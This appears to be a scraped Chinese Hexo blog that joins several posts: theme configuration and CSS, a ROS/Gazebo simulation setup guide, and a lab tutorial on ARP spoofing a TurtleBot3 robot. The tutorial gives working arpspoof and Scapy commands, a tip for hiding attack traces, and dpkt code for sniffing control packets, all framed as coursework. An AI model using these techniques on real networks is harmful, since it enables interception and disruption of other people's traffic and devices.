惟愿言行合一,砥砺前行

0%

不小心把本地的博客文件全部删掉了,非常不幸的是,gitee上themes文件夹中的next主题没有提交上去,导致主题全部要重新配置,累了毁灭吧。
(ps: 回退了一个hexo版本,不那么好看并且有非常非常多的bug!!!!!!!!!!!!!啊之后再改吧毁灭吧!可以看github版本,那个看起来好歹没这么多bug)

文章顺序

1
2
npm uninstall hexo-generator-index --save
npm install hexo-generator-index-pin-top --save

打开 /themes/next/layout/_macro/ 目录下的 post.swig 文件,在 <div class="post-meta"> 的第一个 <span> 标签下,插入如下代码:

1
2
3
4
5
{% if post.top == 1 %}
<i class="fa fa-thumb-tack"></i>
<font color=2E8B57>TOP</font>
<span class="post-meta-divider">|</span>
{% endif %}

加密

1
npm install hexo-blog-encrypt --save

主题设置

Gemini暗夜主题。

1
2
3
4
5
6
7
8
9
10
11
custom_file_path:
#head: source/_data/head.swig
#header: source/_data/header.swig
sidebar: source/_data/sidebar.swig
#postMeta: source/_data/post-meta.swig
#postBodyEnd: source/_data/post-body-end.swig
#footer: source/_data/footer.swig
bodyEnd: source/_data/body-end.swig
#variable: source/_data/variables.styl
#mixin: source/_data/mixins.styl
style: source/_data/styles.styl

bodyEnd:

1
2
{# 代码压缩 #}
<script type="text/javascript" src="/js/fold_action.js"></script>

styles.styl:

鼠标指针自己画两个就好了。老抽象画大师了。我的头像也是自己画的了,因为之前那个头像放在主题文件夹里,删掉了,刚好最近在画画,随便换了一个,麻了。。。。。。

png转ico的网站:PNG转ICO - 在线转换图标文件 (aconvert.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
//鼠标指针设置
body {
cursor: url("/images/cursor.ico"),auto!important;
background-color:#282828;
}
//鼠标指针设置(改变)
a,span,btn,.copy-btn,.v[data-class=v] .vbtn,[data-v-0a6ec0b4],.spoiler-title,.post-meta time,.reward-container button,.sidebar-nav .sidebar-nav-active,.sidebar-nav li:hover,.spoiler .spoiler-title {
cursor: url("/images/cursor-click.ico"),pointer!important;
}
.header-inner,
.sidebar-inner,
.main-inner > .pagination,
.main-inner > .post-block,
.main-inner > .post-block:not(:first-child):not(.sub-menu)
{
border-radius: 20px 20px 20px 20px;
box-shadow: 8px 7px 2px 0 rgba(0,0,0,0.12), 7px 4px 1px -2px rgba(0,0,0,0.06), 0 1px 5px 0 rgba(0,0,0,0.12);
}

//文章内链接文本样式
.post-body li a,.post-body p a{
color: #E68F89;
border-bottom: none;
border-bottom: 1px solid #555;
&:hover {
color: #E68F89;
border-bottom: none;
border-bottom: 1px solid #fc6423;
}
}
//单行代码样式
code {
background: #252525;
border-radius: 4px;
color: #F2C7C4;
font-size: 15px
}
//版权声明样式
.post-copyright ul{
background: #1D1F21;
border-left:3px solid #E68F89;
}
//侧栏颜色
.sidebar-toc-active .sidebar-nav-toc,
.sidebar-overview-active .sidebar-nav-overview,
.post-toc .nav .active > a{
color: #E68F89;
border-bottom-color:#E68F89;
}
.sidebar-nav li:hover ,
.sidebar-toc-active .sidebar-nav-toc:hover
.sidebar-overview-active .sidebar-nav-overview:hover{
color: #FF7B71;
}
.post-toc-wrap .post-toc .nav .nav-item .nav-link:hover
.post-meta-item>a:hover{
color: #F2C7C4;
border-bottom-color:#F2C7C4;
}

// 代码折叠功能添加
.hider_title{
cursor: pointer;
color: #ef4a05;
}
.close:before{
content: "▼";
}
.open:before{
content: "▲";
}

.config.yml:

1
2
3
4
5
6
7
8
9
10
11
12
codeblock:
# Code Highlight theme
# Available values: normal | night | night eighties | night blue | night bright | solarized | solarized dark | galactic
# See: https://github.com/chriskempson/tomorrow-theme
highlight_theme: night
# Add copy button on codeblock
copy_button:
enable: true
# Show text copy result.
show_result: false
# Available values: default | flat | mac
style: mac

# ARP攻击

  实验环境推荐:Linux虚拟机×2:Ubuntu 20.04或18.04或kali,被攻击机安装好ROS;

  提升能力环境推荐:不同真机下的Linux虚拟机×2:Ubuntu 20.04或18.04或kali,被攻击机安装好ROS;

  注意:由于校园网的设备数量限制,真机连接校园网,多台虚拟机桥接模式下很可能无法上外网。虽然不影响arp攻击结果,只影响主机和网关通讯。但是仍然建议打开手机使用WiFi信号桥,或者使用流量,或者使用现成的路由器。

Arpspoof占领ARP表

ARP攻击概述

  ARP全称Address Resolution Protocol(地址解析协议),用于在局域网中把IP地址通信转换成MAC地址通信。MAC地址是硬件地址,是物理网卡的编号地址,理论上具有惟一性。在Internet互联网中,访问一个网站要先进行DNS解析,把域名转换成IP,然后通过ARP协议,由IP找到MAC地址。

思考题Q1:为什么不能直接基于MAC地址通信?

为什么不直接使用MAC地址进行通信、为什么不直接使用IP地址通信_shen19960603的博客-CSDN博客

ARP在同个网段下的工作原理:

  每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。当A主机要跟B主机通讯时,会首先检查自己 ARP列表中是否存在B的 IP地址对应的MAC地址,如果有,就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。

例如:

A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

根据上面的所讲的原理,我们简单说明这个过程:A要和B通讯,A就需要知道B的以太网地址,于是A发送一个ARP请求广播(Who is 192.168.10.2? tell 192.168.10.1),当B收到该广播,就检查自己,结果发现和自己的一致,然后就向A发送一个ARP单播应答(192.168.10.2 is at BB-BB-BB-BB-BB-BB)。

详见:ARP协议在同网段及跨网段下的工作原理_L.-CSDN博客_arp 跨网段

ARP攻击实施的依据

  由于主机不加检测地将ARP响应数据包的内容添加到自己的ARP列表中,发送虚假的ARP响应数据包即可错误地引导数据传输。

使用arpspoof妨碍普通主机上网

  了解基本原理之后,我们不加恶意地熟悉一下arpspoof工具。

  Arpspoof是dsniff中的一个组件,因此使用它需要先下载dsniff:

1
sudo apt install dsniff

  下载完成后,执行arpspoof:

1
sudo arpspoof

  -i 用于选择网卡,-t选择目标。

实例:

准备

  攻击前,查看攻击机、目标主机、网关的IP地址、MAC地址:

  相互之间应该可以ping通,如果不可以,请设置桥接模式,然后检查编辑-虚拟网络编辑器-更改设置,将桥接模式的已桥接至改为自己的网卡。

主机名\参数名 IP地址 MAC地址
攻击机 10.21.174.17 00-0C-29-AE-75-24
目标主机 10.21.173.255 00-0C-29-1E-CF-38
网关 10.21.175.254 00-74-9C-7D-FC-93
1
2
3
# 目标主机和攻击机同时打开wireshark监听报文:
sudo apt install wireshark-qt #如果无法连接外网,暂时修改成NAT模式安装,攻击时再改回来
sudo wireshark
欺骗网关
1
2
# 攻击机:
arpspoof -t 10.21.175.254 10.21.173.255 #向网关发送10.21.173.255 is at 00-0C-29-AE-75-24

  攻击机和目标主机的wireshark中均显示(因为发给网关的包会广播给网段):

  (注:此时打开真机上的wireshark,会发现广播包是10.21.173.255 is at 真机MAC地址)

  真机:部分截图如下——

1
2
3
4
5
6
# 目标主机:
ping 同伴的真机IP地址
# 同伴的真机:
arp -a #查看arp列表
# 期望:目标IP->攻击MAC
# 结果:目标IP->真机MAC

思考题Q2:实际上,其他真机的arp列表中,目标主机的ip对应的是真机mac而非虚拟机攻击机的mac地址,这种情况下,如果想用虚拟机攻击其他真机,数据还能成功地导向攻击机吗?如果不能,应该怎样解决这个问题?

提示:出现问题的根本原因是欺骗网关失败,本应由网关发给攻击机的报文被发送到真机上。

如果能再arp欺骗真机,攻击机就能收到其他真实存在的主机的数据包了。

欺骗主机
1
2
# 攻击机:
$ arpspoof -t 10.21.173.255 10.21.175.254 #向目标发送10.21.175.254 is at 00-0C-29-AE-75-24

目标主机:

IP转发

  至此,我们已经成功阻塞了目标主机与网关之间的通讯,将它们之间的通讯数据包全部发送给攻击机。如果在攻击机上开启ip转发,即可将到达攻击机的报文重新正常发送给目标主机和网关:

1
2
3
# 攻击机:
$ sudo -i #切换root用户
$ echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

  这样目标主机就能重新上网了,只是由于IP转发较慢,网速会有一定的影响。

思考题Q3:为什么要持续发送arp报文?

  arp列表过几分钟就自动刷新掉了。可以直接arp -a观察一下,我电脑大概是2分钟。

使用arpspoof妨碍ROS小车和控制机通讯

  接下来我们干扰同网段两机之间的通讯。

  实例:

  攻击前,查看攻击机、目标主机、小车的IP地址、MAC地址:

主机名\参数名 IP****地址 MAC****地址
攻击机 192.168.1.108 00-0C-29-AE-75-24
目标主机 192.168.1.106 00-0C-29-1E-CF-38
小车 192.168.1.102 /
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 目标主机和攻击机同时打开wireshark监听报文: 
sudo wireshark

# 攻击机:
sudo arpspoof -t 192.168.1.102 192.168.1.106 #向小车发送192.168.1.106 is at 00-0C-29-AE-75-24
sudo arpspoof -t 192.168.1.106 192.168.1.102 #向目标发送192.168.1.102 is at 00-0C-29-AE-75-24
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

# 目标主机:
roscore #网络配置以及远程连接一系列问题参考之前的实验
#ssh连接、roscore、roslaunch……
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch #打开键盘控制
# 按w前进,小车前进不受影响;

# 接着攻击机运行下列指令:
sudo -i #切换root用户
echo 0 > /proc/sys/net/ipv4/ip_forward #关闭IP转发
# 目标主机再次按w前进,小车无法前进,没有反应。

# 再开启IP转发,攻击机上打开wireshark抓包,在目标机按w前进。
# 小车移动后,令攻击机停止抓包。

分析报文,判断使小车速度改变的数据包是哪个。

使用Scapy伪造ARP报文

  Scapy是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。

  由于Python语言的特性,它非常简单易学。不过arpspoof等一系列工具实际上是由winpcap或libpcap库编写的,也就是c/c++语言,如果希望提高效率可以在扩展阅读中了解使用libpcap。

1
sudo apt install python3-scapy #下载scapy

伪造Arp报文

  参考:【Python】使用scapy模块编写ARP欺骗脚本 - 云+社区 - 腾讯云 (tencent.com)

  Scapy和python的运行模式一样,可以import导入scapy,写成一个python文件,也可以输入scapy进入交互命令行。下面展示交互命令行,完整代码是作业。

1
sudo scapy #运行scapy

  通过自带的ARP()方法,构造一个arp报文pkt,使用show()方法可以查看报文的详细内容。参数含义已经在图片上标出,这些参数均是字符型。

  我们可以自定义任意字段,例如修改源IP为10.11.71.254,目的IP为10.11.71.54,目的IP的网关可以不填,然后sr1()发送:

  (注:这种发送ARP包的方式仍然会出现Q3的问题,有可能无法直接攻击其他真机)

  发送前后10.11.71.54中的arp列表对比如下:

隐藏攻击痕迹

  可以看到10.11.68.36也被添加到arp列表中了,这显然会暴露攻击意图,造成该现象的原因是没有自定义二次帧头,kali会先发送了广播报文去问谁是10.11.71.54。为了避免这种现象的发生,我们可以通过pkt=Ether()/ARP()构造可以自定义二层帧头的报文,将二层帧头源MAC改成广播地址”ff:ff:ff:ff:ff:ff”(也可以改成别的):

  攻击结果(这次没有10.11.68.36):

  自行编写脚本实现完整的arp欺骗过程。

使用dpkt分析TCP报文

  建立好arp欺骗后,我们用wireshark嗅探攻击机的网络,并保存为carMove.pcap,分析与目标主机相关的tcp报文。(也可直接在目标主机上嗅探)

Tips:嗅探样例如附录一.2所示。其中过滤条件” tcp.stream eq 5”对应的就是一次主机键盘控制小车移动的tcp连接到tcp断开的过程。

准备

  分析报文可以使用python中的dpkt库,安装方式如下:

1
sudo apt install python3-dpkt #下载dpkt

  在TCP首部中有6个标志比特。它们中的多个可同时被设置为1。

  • SYN 同步序号用来发起一个连接
  • ACK 确认序号有效
  • PSH 接收方应该尽快将这个报文段交给应用层
  • FIN 发端完成发送任务
  • RST 重建连接
  • URG 紧急指针有效

  建立连接(三次握手):

有效通讯:

断开连接:

读取并过滤报文

  以下是用到的模块和定义的全局变量。(之后的程序体均需要添加这些模块)

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3
#coding=utf-8
import dpkt # 解析报文的模块
import socket # 解析ip地址的模块
import collections # 有序字典需要的模块
import time # 解析时间格式的模块
file_path='/home/shen/carMove_2.pcap' # 报文所在目录
burger_dst='192.168.1.102' # 小车的ip地址
pkt_len=52 # 移动报文的长度

  用wireshark打开捕获的carMove.pcap,粗略观察可知,小车和主机的通讯基于TCP协议。并且,主机键盘控制小车,是主机192.168.1.108向小车192.168.1.102发送带非空负载数据的报文。
  基于上述三点,我们利用dpkt模块读取carMove.pcap并对报文进行过滤和分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def main():
f = open(file_path,'rb')
#先按.pcap格式解析,若解析不了,则按pcapng格式解析
try:
pcap = dpkt.pcap.Reader(f)
except:
pcap = dpkt.pcapng.Reader(f) #解析pcapng会失败,建议使用scapy库的rdpcap去解析

#当前变量pcap中是按照“间戳:单包”的格式存储着各个单包
#将时间戳和包数据分开,一层一层解析,其中ts是时间戳,buf存放对应的包
for (ts,buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf) #解包,物理层
if not isinstance(eth.data, dpkt.ip.IP): #解包,网络层,判断网络层是否存在,如果不存在则丢弃
continue
ip = eth.data
#将网络地址转换成“.”点隔的字符串格式
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
#解包,判断目的地址是否是小车地址burger_dst,传输层协议是否是TCP,如果不是则丢弃
if not (dst==burger_dst and isinstance(ip.data, dpkt.tcp.TCP)):
continue
tcp = ip.data #传输层负载数据,基本上分析流量的人都是分析这部分数据,即应用层负载流量
#如果应用层负载长度为0,即该包为单纯的tcp包,没有负载,则丢弃
if not len(tcp.data):
continue
#验证结果,打印保存的数据包的抓包以及对应的包的应用层负载长度
print("Length:%d"%len(tcp.data)) #将时间戳转换成日期
#print("Data%s"%tcp.data)#打印传输层负载数据,因为小车数据传输过程中没有加密,所以可以直接打印
except Exception as err:
print("[error] %s" % err)
f.close()
main()

  运行结果如下:

  结合wireshark观察可知,键盘控制的通讯过程是连续且较长的,并且有用的数据包对应的负载数据长度都是52,所以再取长度为52进行过滤。

  将过滤条件if not len(tcp.data)改成if not len(tcp.data)==pkt_len,并将#print(“Data:%s”%tcp.data)的注释删去,打印传输层负载数据,再次运行结果如下:

  为方便数据包的查找,以及适应python2版本,我们向程序中添加时间戳的输出,并增加python2版本的注释完整程序见附录一.2中tcp_3.py。最终结果如下:

(wireshark中的数据)

  至此,我们完成了捕获并分析目的TCP报文全过程。若希望干扰命令的正常运行,可结合pcap模块边捕获边发送篡改后的报文。Tcp中的data段的16进制数据具体含义可通过篡改报文猜测。

扩展阅读 使用libpcap库截获报文

下载libpcap 库,

文件的格式为x.tar.gz。

http://www.tcpdump.org/release/

安装

1、解压文件到你的当前目录

1
tar zxvf x.tar.gz

2、进入刚才解开的libpcap目录,生成Makefile文件

1
sudo ./configure

【配置过程如果出现错误,请查看你是否安装了所有的依赖包bison, m4, flex以及libpcap-dev(安装方法 sudo apt install ****)】

3、将生成的库安装到系统默认目录中。此目录为 /usr/lib ,如果需要修改,可以修改文件Makefile 的 prefix。

1
sudo make install

使用

1、编译选项: gcc 源文件.c **-lpcap** .. -o 输出文件名

2、Warning不用管:

image-20210427233532483

3、测试程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <pcap.h>  
#include <stdio.h>

int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * device;
//look for the net device
device = pcap_lookupdev(errBuf);

if(device)
{
printf("success: device: %s\n", device);
}
else
{
printf("error: %s\n", errBuf);
}

return 0;
}

4、测试程序运行结果:

附录1 可参考文档

1.1 ROS|⑦ARP攻击Turtlebot3汉堡Burger并解析移动报文 | 日暮天无云 (gitee.io)

1.2 arp-course: ARP攻击相关文件 (gitee.com)

1.3 【Python】使用scapy模块编写ARP欺骗脚本 - 云+社区 - 腾讯云 (tencent.com)

1.4【python】dpkt模块快速解析pcap_MK_夕阳的博客-CSDN博客

order.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
######基本欺骗流程######
# 双开
sudo wireshark

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo arpspoof -t 192.168.1.1 192.168.1.106
# 意思: 发送 [ARP] 192.168.1.106 is at 00-0C-29-AE-75-24

# 目标(192.168.1.106 and 00-0C-29-1E-CF-38):
ping 192.168.1.102(其他)
# 其他(192.168.1.102):
arp -a
# 意思:查看arp列表
# 期望:目标IP->攻击MAC
# 结果:目标IP->真机MAC

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo arpspoof -t 192.168.1.106 192.168.1.1
# 意思:发送 [ARP] 192.168.1.1 is at 00-0C-29-AE-75-24

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

######骗小车控制报文######
# 目标主机和攻击机同时打开wireshark监听报文:
sudo wireshark

# 攻击机:
sudo arpspoof -t 192.168.1.102 192.168.1.106 #向小车发送192.168.1.106 is at 00-0C-29-AE-75-24
sudo arpspoof -t 192.168.1.106 192.168.1.102 #向目标发送192.168.1.102 is at 00-0C-29-AE-75-24
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

# 目标主机:
roscore #网络配置以及远程连接一系列问题参考之前的实验
#ssh连接、roscore、roslaunch……
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch #打开键盘控制
# 按w前进,小车前进不受影响;

# 接着攻击机运行下列指令:
sudo -i #切换root用户
echo 0 > /proc/sys/net/ipv4/ip_forward #关闭IP转发
# 目标主机再次按w前进,小车无法前进,没有反应。

# 再开启IP转发,攻击机上打开wireshark抓包,在目标机按w前进。
# 小车移动后,令攻击机停止抓包。
# 分析哪个报文是键盘控制移动报文

######scapy伪造arp报文######
# 攻击:
sudo scapy #运行scapy
pkt=ARP() #用ARP()方法构造ARP报文
pkt.show() #显示报文内容
pkt.psrc=‘192.168.1.1’ #修改报文源地址
pkt.pdst=‘192.168.1.105’ #修改报文目的地址
pkt.op=‘is-at‘ #修改报文类型
sr1(pkt) #发送报文
# 目标:
arp -a

# 攻击:
sudo scapy #运行scapy
pkt=Ether()/ARP()
pkt.show()
pkt.psrc='192.168.1.1'
pkt.pdst='192.168.1.105'
pkt[Ether].dst='ff:ff:ff:ff:ff:ff'
pkt.show()
srp1(pkt)
# 目标:
arp -a

######dpkt分析tcp报文######
#!/usr/bin/python3
#coding=utf-8
import dpkt
import collections #有序字典需要的模块
import time
import socket
file_path='/home/shen/carMove_2.pcap'
burger_dst='192.168.1.102'
pkt_len=52
def main():
f = open(file_path,'rb')
#先按.pcap格式解析,若解析不了,则按pcapng格式解析
try:
pcap = dpkt.pcap.Reader(f)
except:
pcap = dpkt.pcapng.Reader(f) #解析pcapng会失败,建议使用scapy库的rdpcap去解析

#当前变量pcap中是按照“间戳:单包”的格式存储着各个单包
#将时间戳和包数据分开,一层一层解析,其中ts是时间戳,buf存放对应的包
for (ts,buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf) #解包,物理层
if not isinstance(eth.data, dpkt.ip.IP): #解包,网络层,判断网络层是否存在,如果不存在则丢弃
continue
ip = eth.data
#将网络地址转换成“.”点隔的字符串格式
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
#解包,判断目的地址是否是小车地址burger_dst,传输层协议是否是TCP,如果不是则丢弃
if not (dst==burger_dst and isinstance(ip.data, dpkt.tcp.TCP)):
continue
tcp = ip.data #传输层负载数据,基本上分析流量的人都是分析这部分数据,即应用层负载流量
#如果应用层负载长度为0,即该包为单纯的tcp包,没有负载,则丢弃
if not len(tcp.data):
continue
#验证结果,打印保存的数据包的抓包以及对应的包的应用层负载长度
print("Length:%d"%len(tcp.data)) #将时间戳转换成日期
#print("Data%s"%tcp.data)#打印传输层负载数据,因为小车数据传输过程中没有加密,所以可以直接打印
except Exception as err:
print("[error] %s" % err)
f.close()
main()

# 将过滤条件if not len(tcp.data)改成if not len(tcp.data)==pkt_len,并将#print("Data:%s"%tcp.data)的注释删去,打印传输层负载数据

# 添加时间戳的输出,并增加python2版本的注释

本节内容较多,
请根据左侧目录针对性阅读。

一、准备工作

  1. 这一章我们先用gazebo仿真做,不使用真小车,使用的是Waffle模型

    需要下载的库gazebo-ros、turtlebot3_simulations。

    如果下载过程中显示虚拟机又连不上网了,暂时切换成NAT模式。以后远程连真小车的时候再改回桥接。注意IP地址的变化。

功能包程序下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cd ~/catkin_ws/src/ # 进自己的工作包的目录
# git clone https://github.com/ROBOTIS-GIT/turtlebot3_simulations.git
git clone https://gitee.com/zthcool/turtlebot3_simulations
# git clone https://github.com/ROBOTIS-GIT/hls_lfcd_lds_driver
git clone https://gitee.com/hhdang/hls_lfcd_lds_driver
# git clone https://github.com/ROBOTIS-GIT/turtlebot3.git
git clone https://gitee.com/zthcool/turtlebot3
# git clone https://github.com/ROBOTIS-GIT/turtlebot3_msgs
git clone https://gitee.com/mieximiemie/turtlebot3_msgs
cd ~/catkin_ws && catkin_make

# 预加载Gazebo模型以免过慢。
cd ~/.gazebo/
# 第一种方案(官网下载,速度较慢):
mkdir -p models
cd ~/.gazebo/models/
wget http://file.ncnynl.com/ros/gazebo_models.txt
wget -i gazebo_models.txt
ls model.tar.g* | xargs -n1 tar xzvf
# 第二种方案(下载现成的models):
git clone https://gitee.com/yltzdhbc/gazebo_models
mv gazebo_models models #将下载的文件夹改名为models

Gazebo下载安装(如果运行提示缺包漏包也重装一下)

注意版本替换(noetic->自己的版本)。

1
2
sudo apt-get install ros-noetic-gazebo-ros-pkgs ros-noetic-gazebo-ros-control
sudo apt-get install ros-noetic-turtlebot3-gazebo

Gazebo运行异常时

gazebo 启动异常以及解决

问题一:gazebo黑屏

检查~/.gazebo下的models是否安装完成,如果没有安装完成,运行下面的代码。

1
2
3
4
5
6
7
8
9
10
11
# 预加载Gazebo模型以免过慢。
cd ~/.gazebo/
# 第一种方案(官网下载,速度较慢):
mkdir -p models
cd ~/.gazebo/models/
wget http://file.ncnynl.com/ros/gazebo_models.txt
wget -i gazebo_models.txt
ls model.tar.g* | xargs -n1 tar xzvf
# 第二种方案(下载现成的models):
git clone https://gitee.com/yltzdhbc/gazebo_models
mv gazebo_models models #将下载的文件夹改名为models

问题2:VMware: vmw_ioctl_command error Invalid argument(无效的参数)

解决:

1
2
echo "export SVGA_VGPU10=0" >> ~/.bashrc
source ~/.bashrc

问题3:[Err] [REST.cc:205] Error in REST request

解决:

1
2
3
sudo gedit ~/.ignition/fuel/config.yaml
# 将url : https://api.ignitionfuel.org使用 # 注释掉
# 再添加url: https://api.ignitionrobotics.org

问题4:启动时抛出异常:[gazebo-2] process has died [pid xxx, exit code 255, cmd.....

解决:

1
2
3
killall gzserver
killall gzclient
# 等待一会儿或者重启也行,这个问题仅仅是因为你上一个gazebo没关彻底,残留了点东西,导致新的打不开。

如果还有其他问题再做以下的事情:

参考ROS中使用Gazebo的两个天坑

除了Ubuntu20.04,尽量不要第一时间尝试更新,可能会越解决越糟糕!

1
2
3
4
5
6
7
8
9
# 添加源
sudo sh -c 'echo "deb http://packages.osrfoundation.org/gazebo/ubuntu-stable `lsb_release -cs` main" > /etc/apt/sources.list.d/gazebo-stable.list'
wget https://packages.osrfoundation.org/gazebo.key -O - | sudo apt-key add -
# 安装或更新
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install gazebo11
# Ubuntu16.04对应gazebo7,Ubuntu18.04对应gazebo9,下同
sudo apt-get install libgazebo11-dev

二、测试环境是否正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 启动终端A
roslaunch turtlebot3_gazebo turtlebot3_world.launch
# 上一条注:若gazebo正确,应该是能看到下图(见图一)
# 另起终端B
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch
# 上一条注:键盘控制小车。若gazebo中小车有移动,则说明控制程序正确
# 续注:验证完毕后,结束键盘控制进程(Ctrl+C)
# 在终端B中
roslaunch turtlebot3_gazebo turtlebot3_simulation.launch
# 上一条注:启动仿真模拟。若gazebo中小车自主移动,则说明模拟程序正确
# 续注:若gazebo卡住并在A中显示process has died,重复尝试两次。若仍然失败,考虑gazebo运行异常
# 在终端C中
rostopic list
# 上一条注:将会看到/camera/rgb/camera_info和/camera/rgb/image_view
# 续注:若没有,则检测.bashrc文件中,模型是否为waffle
# 在终端C中
roslaunch turtlebot3_gazebo turtlebot3_gazebo_rviz.launch
# 上一条注:打开左侧Camera,如果等待良久后,能看到图像,说明你的仿真非常对(见下图二)
# 续注:验证完毕后,结束终端B、C的进程(Ctrl+C)

图一图二

三、导入程序并理解作用

直接git clone(也可以手动复制导入)

1
2
3
4
cd ~/catkin_ws/src
git clone https://gitee.com/shandianchengzi/learning_topic.git # 克隆我已经测试过的程序
cd ~/catkin_ws/ && catkin_make
chmod +x ~/catkin_ws/src/learning_topic/scripts/*.py # 将所有的python程序设置为允许执行的文件

理解程序

在你自己的功能包的src下面(比如我的功能包叫catkin_ws/src/learning_topic)

1
2
3
~/catkin_ws/src/learning_topic/scripts/ # 用于存放python脚本
~/catkin_ws/src/learning_topic/launch/ # 用于存放启动程序(.launch文件)
~/catkin_ws/src/learning_topic/worlds/ # 用于存放gazebo仿真模拟的地图模型(.worlds文件)

01follower.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
# 若使用的是python2,将第一行改成python2
# 若使用的是python,将第一行改成python
# 之后的程序同理
import rospy
from sensor_msgs.msg import Image # 从传感器图片的库中导入Image数据类型

def image_callback(msg):
pass

rospy.init_node('follower') # 建立结点follower
image_sub = rospy.Subscriber('camera/rgb/image_raw', Image, image_callback)
# 以上括号内分别是 接受的topic名称, 数据类型, 触发的回调函数
rospy.spin()

运行方式

1
2
chmod +x 01follower.py
rosrun learning_topic 01follower.py

运行结果

结果是生成了一个名叫’follower’的结点,它订阅了’camera/rgb/image_raw’话题。

可用下列指令检验:

1
2
3
rosnode list # 检查是否出现/follower结点
rosnode info /follower # 如果出现了/follower结点,用这个指令查看/follower结点的详细信息
rostopic hz /camera/rgb/image_raw # 不出意外的话,/follower结点订阅的话题是/camera/rgb/image_raw。用这个指令查看话题发布的情况。

检验结果应如下图所示:

02follower_opencv.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import rospy
from sensor_msgs.msg import Image
import cv2, cv_bridge # 导入opencv模块和协议模块

def image_callback(msg):
image = bridge.imgmsg_to_cv2(msg,desired_encoding="bgr8")
# 将ros_image通过蓝绿红8位色空间转换为OpenCV图像,结果返回给image,类参数bridge转换函数
if(image.all() == None):
print("Can't get your image, please check your code!")
else :
# print(image.size, image.shape) # 输出图像大小以及形状
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL) # 建立名为showImage的窗口 窗口类为 cv2内置的NORMAL窗口
cv2.imshow("showImage",image[:,:,0]) # 在showImage中显示二维图像
cv2.waitKey(3) # waitkey()延时显示图像,在imshow之后,没有waitkey()函数图像将无法显示

rospy.init_node('follower',anonymous = True) # anonymous 同步选项 每公布一条消息就接受一个消息
bridge = cv_bridge.CvBridge() # 创建CvBridge对象
image_sub=rospy.Subscriber('/camera/rgb/image_raw',Image,image_callback)
# 以上括号内分别是 接受的topic名称, 数据类型, 触发的回调函数
rospy.spin()

运行结果

能看到一个名字叫做showImage的窗口(不是下图的窗口名)。

名为course的model

~/catkin_ws/src/learning_topic/models/目录下。

  • 这个model可以在turtlebot3_simulations库中找到。

    具体位置是turtlebot3_simulations/turtlebot3_gazebo/models/turtlebot3_autorace/course。

    拷贝到自己的功能包下即可。

  • 若想了解model的自定义机制,可以从model的文件组织,以及如何调用model入手。

    文件组织的逻辑:参考gazebo中给地面添加纹理,写得很清晰。

    文件的调用关系:参考0course.launch、course.world两个文件中的下列部分:

    1
    2
    3
    4
    5
    6
    7
    8
    9
     <!-- 0course.launch中 -->
    <env name="GAZEBO_RESOURCE_PATH" value="$(find learning_topic)/models/turtlebot3_autorace/ground_picture" />

    <!-- course.world中 -->
    <!-- Our ground image -->
    <include>
    <uri>model://turtlebot3_autorace/course</uri>
    <pose> 0 0 0 0 0 -1.54</pose>
    </include>

course.world

